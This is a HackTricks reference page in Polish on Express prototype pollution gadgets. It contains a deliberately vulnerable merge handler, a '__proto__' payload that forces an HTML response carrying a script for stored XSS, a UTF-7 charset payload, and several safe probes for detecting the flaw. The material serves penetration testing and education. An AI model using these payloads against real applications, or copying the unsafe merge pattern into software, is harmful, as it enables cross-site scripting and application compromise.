Express Prototype Pollution Gadgets

Wsparcie dla HackTricks

Serwuj odpowiedzi XSS

Aby uzyskać więcej szczegółów zobacz oryginalne badania

Zmień typ zawartości JSON na HTML

W aplikacji Express używającej odpowiedzi z typem zawartości JSON i odzwierciedlającej JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

W tych przypadkach XSS zazwyczaj nie jest możliwe z typem zawartości JSON. Jednak dzięki zanieczyszczeniu prototypu możemy zmylić Express, aby zwrócił odpowiedź HTML. Ta podatność polega na tym, że aplikacja używa res.send(obj) i korzysta z parsera ciała z typem zawartości application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Poprzez zanieczyszczenie właściwości body i _body, możliwe jest spowodowanie, że Express będzie serwować typ zawartości HTML i odzwierciedli właściwość _body, co skutkuje przechowywanym XSS.

Render UTF7

Możliwe jest, aby express renderował zawartość UTF-7 za pomocą:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Bezpieczne techniki skanowania

Przestrzenie JSON

Następujące PP spowoduje, że atrybuty wewnątrz JSON będą miały dodatkową przestrzeń, co nie wpłynie na funkcjonalność:

{"__proto__":{"json spaces": " "}}

Wtedy odzwierciedlony JSON będzie wyglądać następująco:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

Następujący gadżet PP spowoduje, że serwer wyśle z powrotem nagłówek HTTP: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Wymaga zainstalowania modułu CORS

Metoda OPTIONS

Za pomocą poniższego ładunku możliwe jest ukrycie metody w odpowiedzi OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Możliwe jest zmienienie zwracanego kodu statusu za pomocą następującego ładunku PP:

{"__proto__":{"status":510}}

Błąd

Kiedy przypisujesz do prototypu z prymitywem, takim jak ciąg, produkuje to operację no-op, ponieważ prototyp musi być obiektem. Jeśli spróbujesz przypisać obiekt prototypu do samego Object.prototype, to wyrzuci wyjątek. Możemy użyć tych dwóch zachowań do wykrycia, czy zanieczyszczenie prototypu było udane:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

Kiedy aplikacja zawiera obiekt w swojej odpowiedzi, stworzenie atrybutu o nietypowej nazwie obok __proto__ może być pouczające. W szczególności, jeśli tylko nietypowy atrybut jest zwracany w odpowiedzi, może to wskazywać na podatność aplikacji:

{"unusualName":"value","__proto__":"test"}

Ponadto, w scenariuszach, w których używana jest biblioteka taka jak Lodash, ustawienie właściwości zarówno za pomocą zanieczyszczenia prototypu (PP), jak i bezpośrednio w obiekcie, oferuje inne podejście diagnostyczne. Jeśli taka właściwość jest pomijana w odpowiedzi, sugeruje to, że Lodash weryfikuje istnienie właściwości w docelowym obiekcie przed scaleniem:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Allow Dots

Istnieje opcja w Express, która pozwala na tworzenie obiektów z parametrów ciągu zapytania. Możesz to zdecydowanie wykorzystać w łańcuchu błędów, aby wykorzystać wrażliwość na zanieczyszczenie prototypu.

{"__proto__":{"allowDots":true}}

?foo.bar=baz tworzy obiekt w Node.

References

Wsparcie HackTricks

Last updated